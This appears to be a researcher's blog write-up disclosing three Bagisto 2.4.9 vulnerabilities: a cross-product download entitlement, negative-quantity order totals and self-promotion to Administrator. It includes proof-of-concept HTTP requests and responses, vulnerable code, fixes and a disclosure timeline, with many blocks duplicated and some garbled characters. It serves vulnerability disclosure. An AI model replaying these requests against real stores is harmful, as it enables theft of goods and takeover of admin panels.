September 19, 2026
Three Vulnerabilities I Found in Bagisto 2.4.9
I found three vulnerabilities in Bagisto 2.4.9: a cross-product download entitlement, a customer-controlled order total, and aโฆ

By Isuka sanuj
9 min read
I found three vulnerabilities in Bagisto 2.4.9: a cross-product download entitlement, a customer-controlled order total, and a privilege-escalation path from settings.users.edit to the Administrator role.
What caught my attention while reviewing the code was that none of these came from one obviously missing security check. In each case, one part of the application handled the request differently from another part.
Bagisto is an open-source e-commerce platform built on Laravel. I focused on code paths handling purchases, downloadable products, and admin permissions.
The requests and responses below are from my test instance. Session cookies and CSRF tokens are redacted, and one long response body is trimmed to the relevant fields.
Bug 1: Buy the cheapest download, receive the whole catalogue
CVE-2026โ79409 ยท CVSS 6.5 ยท cve.org/CVERecord?id=CVE-2026-79409
Bagisto sells downloadable products. When a product is added to the cart, the request contains a links[] array with the IDs of the download links being purchased.
The add-to-cart endpoint accepts those IDs without checking that they belong to the product being added.
That becomes exploitable because the pricing code and the fulfilment code handle the same IDs differently.
Downloadable::prepareForCart() only looks at links belonging to the current product when calculating the price:
foreach ($this->product->downloadable_links as $link) { // only THIS product's links
if (! in_array($link->id, $data['links'])) {
continue;
}
$products[0]['price'] += core()->convertPrice($link->price);
}foreach ($this->product->downloadable_links as $link) { // only THIS product's links
if (! in_array($link->id, $data['links'])) {
continue;
}
$products[0]['price'] += core()->convertPrice($link->price);
}A link belonging to another product never appears in that loop, so it contributes nothing to the price.
The fulfilment code takes a different approach. DownloadableLinkPurchasedRepository::saveLinks() looks up every submitted ID and creates an entitlement for the result:
foreach ($orderItem->additional['links'] as $linkId) {
if (! $link = $this->productDownloadableLinkRepository->find($linkId)) {
continue; // must exist - needn't belong to this product
}
$this->create([
'file' => $link->file, // a foreign product's file
'customer_id' => $orderItem->order->customer_id,
// ...
]);
}foreach ($orderItem->additional['links'] as $linkId) {
if (! $link = $this->productDownloadableLinkRepository->find($linkId)) {
continue; // must exist - needn't belong to this product
}
$this->create([
'file' => $link->file, // a foreign product's file
'customer_id' => $orderItem->order->customer_id,
// ...
]);
}There is no check that $link->product_id matches the product in the order.
The original links[] array also survives the cart flow because AbstractType::prepareForCart() stores the client-supplied $data in the cart item's additional field.
So the ID can be ignored by pricing and still be accepted later when the entitlement is created.
An attacker can add a cheap downloadable product to the cart and replace its links[] values with IDs belonging to other products. Since the link IDs come from a global auto-increment sequence, they can also be enumerated with values such as links[]=1..N.
The request can be changed in an intercepting proxy. Add the $19.99 product to the cart, then replace its link with IDs from other products:
name="product_id" โ 145 (the $19.99 product)
name="links[]" โ 6
name="links[]" โ 7
name="links[]" โ 8 (list price: $947.00)name="product_id" โ 145 (the $19.99 product)
name="links[]" โ 6
name="links[]" โ 7
name="links[]" โ 8 (list price: $947.00)
The cart still shows $19.99, and checkout completes normally.
In my test instance, I paid $19.99 and received files with a combined list price of $947.00.
I also removed the original link from the request, so the purchased product itself was not included in the resulting entitlements.
The injected entitlements are not obvious in the UI. The storefront Downloads section and the admin order view are built from the ordered product's own links, so the extra entries appear as an empty value. They are visible in the downloadable_link_purchased table.
Request
POST /api/checkout/cart HTTP/1.1
Host: localhost:8000
Content-Length: 623
X-Requested-With: XMLHttpRequest
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNi5di0MDpXDioXxM
Origin: http://localhost:8000
Referer: http://localhost:8000/cybercrew-1-threat-feed
Cookie: XSRF-TOKEN=<redacted>; bagisto_session=<redacted>
------WebKitFormBoundaryNi5di0MDpXDioXxM
Content-Disposition: form-data; name="product_id"
145
------WebKitFormBoundaryNi5di0MDpXDioXxM
Content-Disposition: form-data; name="is_buy_now"
0
------WebKitFormBoundaryNi5di0MDpXDioXxM
Content-Disposition: form-data; name="quantity"
1
------WebKitFormBoundaryNi5di0MDpXDioXxM
Content-Disposition: form-data; name="links[]"
6
------WebKitFormBoundaryNi5di0MDpXDioXxM
Content-Disposition: form-data; name="links[]"
7
------WebKitFormBoundaryNi5di0MDpXDioXxM
Content-Disposition: form-data; name="links[]"
8
------WebKitFormBoundaryNi5di0MDpXDioXxM--POST /api/checkout/cart HTTP/1.1
Host: localhost:8000
Content-Length: 623
X-Requested-With: XMLHttpRequest
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNi5di0MDpXDioXxM
Origin: http://localhost:8000
Referer: http://localhost:8000/cybercrew-1-threat-feed
Cookie: XSRF-TOKEN=<redacted>; bagisto_session=<redacted>
------WebKitFormBoundaryNi5di0MDpXDioXxM
Content-Disposition: form-data; name="product_id"
145
------WebKitFormBoundaryNi5di0MDpXDioXxM
Content-Disposition: form-data; name="is_buy_now"
0
------WebKitFormBoundaryNi5di0MDpXDioXxM
Content-Disposition: form-data; name="quantity"
1
------WebKitFormBoundaryNi5di0MDpXDioXxM
Content-Disposition: form-data; name="links[]"
6
------WebKitFormBoundaryNi5di0MDpXDioXxM
Content-Disposition: form-data; name="links[]"
7
------WebKitFormBoundaryNi5di0MDpXDioXxM
Content-Disposition: form-data; name="links[]"
8
------WebKitFormBoundaryNi5di0MDpXDioXxM--Response
HTTP/1.1 200 OK
Content-Type: application/json
X-Built-With: Bagisto
Cache-Control: no-cache, private
{"data":{"id":20,"is_guest":0,"customer_id":6,"items_count":1,"items_qty":1,
"sub_total":19.99,"formatted_sub_total":"$19.99",
"discount_amount":0,"formatted_discount_amount":"$0.00",
"grand_total":19.99,"formatted_grand_total":"$19.99",
"items":[{"id":25,"quantity":1,"type":"downloadable",
"name":"Cybercrew Threat Intelligence Feed",
"price":"19.9900","formatted_price":"$19.99",
"total":"19.9900","formatted_total":"$19.99",
"product_url_key":"cybercrew-1-threat-feed",
"options":[{"option_id":0,"option_label":"","attribute_name":"Downloads"}],
"can_change_qty":false}]},
"message":"Item Added Successfully"}HTTP/1.1 200 OK
Content-Type: application/json
X-Built-With: Bagisto
Cache-Control: no-cache, private
{"data":{"id":20,"is_guest":0,"customer_id":6,"items_count":1,"items_qty":1,
"sub_total":19.99,"formatted_sub_total":"$19.99",
"discount_amount":0,"formatted_discount_amount":"$0.00",
"grand_total":19.99,"formatted_grand_total":"$19.99",
"items":[{"id":25,"quantity":1,"type":"downloadable",
"name":"Cybercrew Threat Intelligence Feed",
"price":"19.9900","formatted_price":"$19.99",
"total":"19.9900","formatted_total":"$19.99",
"product_url_key":"cybercrew-1-threat-feed",
"options":[{"option_id":0,"option_label":"","attribute_name":"Downloads"}],
"can_change_qty":false}]},
"message":"Item Added Successfully"}
The response shows the pricing side of the bug: the cart contains the $19.99 product and the total remains $19.99, even though the request included links 6, 7, and 8.
Those IDs are later processed by the fulfilment code and turned into download entitlements.
The fix should be applied where the entitlement is created:
$allowedIds = $orderItem->product->downloadable_links()->pluck('id')->all();
$requested = array_map('intval', (array) ($orderItem->additional['links'] ?? []));
foreach (array_intersect($requested, $allowedIds) as $linkId) {
// ...
}$allowedIds = $orderItem->product->downloadable_links()->pluck('id')->all();
$requested = array_map('intval', (array) ($orderItem->additional['links'] ?? []));
foreach (array_intersect($requested, $allowedIds) as $linkId) {
// ...
}Validation at the request boundary is still useful, but it should not be the only check. The fulfilment code should verify that every link belongs to the product being fulfilled.
Bug 2: Choose your own order total with a negative quantity
CVE-2026โ79410 ยท CVSS 8.1 ยท cve.org/CVERecord?id=CVE-2026-79410
Bagisto calculates the line total as price ร quantity.
The add-to-cart path does not require the quantity to be positive.
There is already a check for non-positive quantities on another path. Cart::updateItems() removes the item when the quantity is zero or below:
if ($quantity <= 0) {
$this->removeItem($itemId);
return false;
}if ($quantity <= 0) {
$this->removeItem($itemId);
return false;
}The add path does not have the same behavior. handleQuantity() returns the original value for negative numbers:
public function handleQuantity(int $quantity): int
{
return $quantity ?: 1; // 0 becomes 1; -11 stays -11
}public function handleQuantity(int $quantity): int
{
return $quantity ?: 1; // 0 becomes 1; -11 stays -11
}So the same quantity can be rejected during an update but accepted when the item is added.
There are two affected entry points. The wishlist "move to cart" endpoint does not validate the quantity before passing it to the cart. Bundle option quantities (bundle_option_qty[...]) also bypass the validation applied to the bundle options themselves.
The wishlist route is a simple way to reproduce the issue. Add a $600 tablet to the cart, put a $162.52 microwave in the wishlist, then move the microwave to the cart and change the quantity:
{"quantity": -3, "product_id": 127}{"quantity": -3, "product_id": 127}The response shows the microwave with a total of -$487.56. That negative total is then included in the cart calculation and reduces the cost of the $600 tablet already in the cart.
Request
POST /api/customer/wishlist/7/move-to-cart HTTP/1.1
Host: localhost:8000
Content-Length: 31
X-XSRF-TOKEN: <redacted>
X-Requested-With: XMLHttpRequest
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: http://localhost:8000
Referer: http://localhost:8000/customer/account/wishlist
Cookie: dark_mode=1; XSRF-TOKEN=<redacted>; bagisto_session=<redacted>
{"quantity":-3,"product_id":127}POST /api/customer/wishlist/7/move-to-cart HTTP/1.1
Host: localhost:8000
Content-Length: 31
X-XSRF-TOKEN: <redacted>
X-Requested-With: XMLHttpRequest
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: http://localhost:8000
Referer: http://localhost:8000/customer/account/wishlist
Cookie: dark_mode=1; XSRF-TOKEN=<redacted>; bagisto_session=<redacted>
{"quantity":-3,"product_id":127}
Response
HTTP/1.1 200 OK
Date: Wed, 12 Aug 2026 10:32:20 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.3.33
X-Built-With: Bagisto
Set-Cookie: XSRF-TOKEN=<redacted>; path=/; samesite=lax
Set-Cookie: bagisto_session=<redacted>; path=/; httponly; samesite=lax
Content-Type: application/json
{"data":{"wishlist":[],"cart":{"id":23,"customer_id":4,"items_count":2,"items_qty":1,
"sub_total":112.44,"formatted_sub_total":"$112.44",
"grand_total":112.44,"formatted_grand_total":"$112.44",
"items":[
{"id":30,"quantity":1,"type":"simple",
"name":"10.1-Inch Android Tablet with Octa-Core Processor & 64GB Storage",
"price":"600.0000","formatted_price":"$600.00",
"total":"600.0000","formatted_total":"$600.00"},
{"id":31,"quantity":0,"type":"simple",
"name":"20L Solo Microwave Oven with Manual Controls",
"price":"162.5200","formatted_price":"$162.52",
"total":"-487.5600","formatted_total":"-$487.56"}
]}},"message":"Item Successfully Moved to Cart"}HTTP/1.1 200 OK
Date: Wed, 12 Aug 2026 10:32:20 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.3.33
X-Built-With: Bagisto
Set-Cookie: XSRF-TOKEN=<redacted>; path=/; samesite=lax
Set-Cookie: bagisto_session=<redacted>; path=/; httponly; samesite=lax
Content-Type: application/json
{"data":{"wishlist":[],"cart":{"id":23,"customer_id":4,"items_count":2,"items_qty":1,
"sub_total":112.44,"formatted_sub_total":"$112.44",
"grand_total":112.44,"formatted_grand_total":"$112.44",
"items":[
{"id":30,"quantity":1,"type":"simple",
"name":"10.1-Inch Android Tablet with Octa-Core Processor & 64GB Storage",
"price":"600.0000","formatted_price":"$600.00",
"total":"600.0000","formatted_total":"$600.00"},
{"id":31,"quantity":0,"type":"simple",
"name":"20L Solo Microwave Oven with Manual Controls",
"price":"162.5200","formatted_price":"$162.52",
"total":"-487.5600","formatted_total":"-$487.56"}
]}},"message":"Item Successfully Moved to Cart"}(Response trimmed: image URL blocks and tax breakdown fields removed for readability.)
The microwave line stores a negative total of -$487.56, which is subtracted from the $600 tablet already in the cart.
The stored quantity is 0 because MySQL clamps the negative value, while the signed total remains negative.
Two other parts of the application do not prevent the issue.
At checkout, Simple::validateCartItem() compares the stored unit price with a freshly calculated price. Since only the quantity was changed, the prices match and the function returns without recalculating the total.
The quantity column is also int unsigned, but Bagisto uses 'strict' => false in its database configuration. MySQL can therefore clamp the negative value to 0 instead of raising an error, while the signed total remains negative.
The simplest fix is to reject non-positive quantities inside handleQuantity():
public function handleQuantity(int $quantity): int
{
return $quantity > 0 ? $quantity : 1;
}public function handleQuantity(int $quantity): int
{
return $quantity > 0 ? $quantity : 1;
}The affected entry points should also validate the incoming quantity. The database setting 'strict' => false is worth reviewing too, since silently changing an invalid value can hide bugs like this.
Bug 3: One permission is the whole admin panel
CVE-2026โ79411 ยท CVSS 8.8 ยทcve.org/CVERecord?id=CVE-2026-79411
The admin panel has a similar authorization problem.
An administrator with only settings.users.edit can assign themselves the Administrator role.
The Administrator role has permission_type = all, which gives access to store configuration, payment settings, customer data, orders, and the rest of the admin panel.
No CSRF bypass is needed. The user-management page already includes the full roles list, including Administrator, in the normal edit form. Selecting it and submitting the request is enough.
The role update does not check whether the current administrator is allowed to assign the selected role. It also does not prevent self-assignment or compare the privilege level of the new role with the actor's current role.
The role_id field is only checked for presence:
'role_id' => 'required''role_id' => 'required'There is no exists: rule and no restriction on which roles can be assigned.
There is a guard for role changes, but it is checking a different case:
$isRoleChanged = $user->role->permission_type === 'all'
&& isset($data['role_id'])
&& (int) $data['role_id'] !== $user->role_id;
if ($isRoleChanged && $this->adminRepository->countAdminsWithAllAccess() === 1) {
return $this->cannotChangeRedirectResponse('role');
}$isRoleChanged = $user->role->permission_type === 'all'
&& isset($data['role_id'])
&& (int) $data['role_id'] !== $user->role_id;
if ($isRoleChanged && $this->adminRepository->countAdminsWithAllAccess() === 1) {
return $this->cannotChangeRedirectResponse('role');
}$user is the target account.
When a custom-role account is promoted, $user->role->permission_type === 'all' is false because the target is not a full-access administrator yet. That makes $isRoleChanged false and the guard is skipped.
The existing check therefore covers a full-access administrator changing their own role when they are the last remaining full-access administrator. It does not stop a lower-privileged administrator from assigning themselves that role.
The privilege escalation can be demonstrated in a single session.
Before the change, the limited account receives 401 responses from privileged pages such as the dashboard, catalog, customers, orders, roles, and configuration.
The account can access /admin/settings/users. Changing its own role_id to 1 is enough to promote the account.
Without logging out, the same privileged pages then return 200.
Request
POST /admin/settings/users/edit HTTP/1.1
Host: localhost:8000
Content-Length: 837
X-XSRF-TOKEN: <redacted>
X-Requested-With: XMLHttpRequest
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX6dy5hfZ2dWAdWkU
Origin: http://localhost:8000
Referer: http://localhost:8000/admin/settings/users
Cookie: XSRF-TOKEN=<redacted>; bagisto_session=<redacted>
------WebKitFormBoundaryX6dy5hfZ2dWAdWkU
Content-Disposition: form-data; name="id"
4
------WebKitFormBoundaryX6dy5hfZ2dWAdWkU
Content-Disposition: form-data; name="name"
Limited User
------WebKitFormBoundaryX6dy5hfZ2dWAdWkU
Content-Disposition: form-data; name="email"
limited@example.com
------WebKitFormBoundaryX6dy5hfZ2dWAdWkU
Content-Disposition: form-data; name="role_id"
1
------WebKitFormBoundaryX6dy5hfZ2dWAdWkU
Content-Disposition: form-data; name="status"
1
------WebKitFormBoundaryX6dy5hfZ2dWAdWkU
Content-Disposition: form-data; name="_method"
put
------WebKitFormBoundaryX6dy5hfZ2dWAdWkU--POST /admin/settings/users/edit HTTP/1.1
Host: localhost:8000
Content-Length: 837
X-XSRF-TOKEN: <redacted>
X-Requested-With: XMLHttpRequest
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX6dy5hfZ2dWAdWkU
Origin: http://localhost:8000
Referer: http://localhost:8000/admin/settings/users
Cookie: XSRF-TOKEN=<redacted>; bagisto_session=<redacted>
------WebKitFormBoundaryX6dy5hfZ2dWAdWkU
Content-Disposition: form-data; name="id"
4
------WebKitFormBoundaryX6dy5hfZ2dWAdWkU
Content-Disposition: form-data; name="name"
Limited User
------WebKitFormBoundaryX6dy5hfZ2dWAdWkU
Content-Disposition: form-data; name="email"
limited@example.com
------WebKitFormBoundaryX6dy5hfZ2dWAdWkU
Content-Disposition: form-data; name="role_id"
1
------WebKitFormBoundaryX6dy5hfZ2dWAdWkU
Content-Disposition: form-data; name="status"
1
------WebKitFormBoundaryX6dy5hfZ2dWAdWkU
Content-Disposition: form-data; name="_method"
put
------WebKitFormBoundaryX6dy5hfZ2dWAdWkU--Response
HTTP/1.1 200 OK
Date: Wed, 12 Aug 2026 11:07:58 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.3.33
X-Built-With: Bagisto
Set-Cookie: XSRF-TOKEN=<redacted>; path=/; samesite=lax
Set-Cookie: bagisto_session=<redacted>; path=/; httponly; samesite=lax
Content-Type: application/json
Content-Length: 40
{"message":"User updated successfully."}HTTP/1.1 200 OK
Date: Wed, 12 Aug 2026 11:07:58 GMT
Server: Apache/2.4.68 (Debian)
X-Powered-By: PHP/8.3.33
X-Built-With: Bagisto
Set-Cookie: XSRF-TOKEN=<redacted>; path=/; samesite=lax
Set-Cookie: bagisto_session=<redacted>; path=/; httponly; samesite=lax
Content-Type: application/json
Content-Length: 40
{"message":"User updated successfully."}The target id (4) is the attacker's own account, and role_id (1) is the Administrator role.
The server accepts the change and returns success. From that point, the same session can reach the privileged admin pages.
The fix is to check the actor's authority before writing the new role. A non-full-access administrator should not be able to assign a role with broader permissions:
$actor = auth()->guard('admin')->user();
$targetRole = $this->roleRepository->find($data['role_id']);
if ($actor->role->permission_type !== 'all'
&& $targetRole->permission_type === 'all') {
abort(401);
}$actor = auth()->guard('admin')->user();
$targetRole = $this->roleRepository->find($data['role_id']);
if ($actor->role->permission_type !== 'all'
&& $targetRole->permission_type === 'all') {
abort(401);
}Filtering the roles shown in the UI is also useful, but that should not be the authorization control. A crafted request can bypass the interface, so the server needs to enforce the role-assignment rule.
What these bugs had in common
The three bugs came from different parts of the application, but the investigation kept leading to the same kind of problem.
The download code checked product ownership while calculating the price, but not when creating the entitlement.
The cart update path rejected non-positive quantities, while another path allowed them.
The role guard handled one kind of role change, but not promotion to a more privileged role.
For me, this was a useful reminder when reviewing the code: finding a validation rule is only the first step. It is also necessary to follow the data through the other paths that can reach the same state change.
That is where all three of these bugs showed up.
Disclosure
All three issues were reported to Webkul on 2026โ08โ12 and assigned CVE identifiers:
+-----------------+-------------------------------------------------------+------+---------------------------------------------+
| CVE | Class | CVSS | Details |
+-----------------+-------------------------------------------------------+------+---------------------------------------------+
| CVE-2026-79409 | Cross-product downloadable entitlement grant (IDOR) | 6.5 | https://nvd.nist.gov/vuln/detail/CVE-2026-79409 |
| CVE-2026-79410 | Customer-controlled order total (negative quantity) | 8.1 | https://nvd.nist.gov/vuln/detail/CVE-2026-79410 |
| CVE-2026-79411 | Vertical privilege escalation via settings.users.edit| 8.8 | https://nvd.nist.gov/vuln/detail/CVE-2026-79411 |
+-----------------+-------------------------------------------------------+------+---------------------------------------------++-----------------+-------------------------------------------------------+------+---------------------------------------------+
| CVE | Class | CVSS | Details |
+-----------------+-------------------------------------------------------+------+---------------------------------------------+
| CVE-2026-79409 | Cross-product downloadable entitlement grant (IDOR) | 6.5 | https://nvd.nist.gov/vuln/detail/CVE-2026-79409 |
| CVE-2026-79410 | Customer-controlled order total (negative quantity) | 8.1 | https://nvd.nist.gov/vuln/detail/CVE-2026-79410 |
| CVE-2026-79411 | Vertical privilege escalation via settings.users.edit| 8.8 | https://nvd.nist.gov/vuln/detail/CVE-2026-79411 |
+-----------------+-------------------------------------------------------+------+---------------------------------------------+Disclosure Timeline
August 12, 2026 โ Vulnerabilities reported privately to Bagisto
September 2, 2026 โ Bagisto confirmed the report was still under review
September 12, 2026 โ CVEs assigned and updated findings + patch shared
September 12 onward โ No further response from Bagisto
November 10, 2026 โ Planned public disclosureAugust 12, 2026 โ Vulnerabilities reported privately to Bagisto
September 2, 2026 โ Bagisto confirmed the report was still under review
September 12, 2026 โ CVEs assigned and updated findings + patch shared
September 12 onward โ No further response from Bagisto
November 10, 2026 โ Planned public disclosure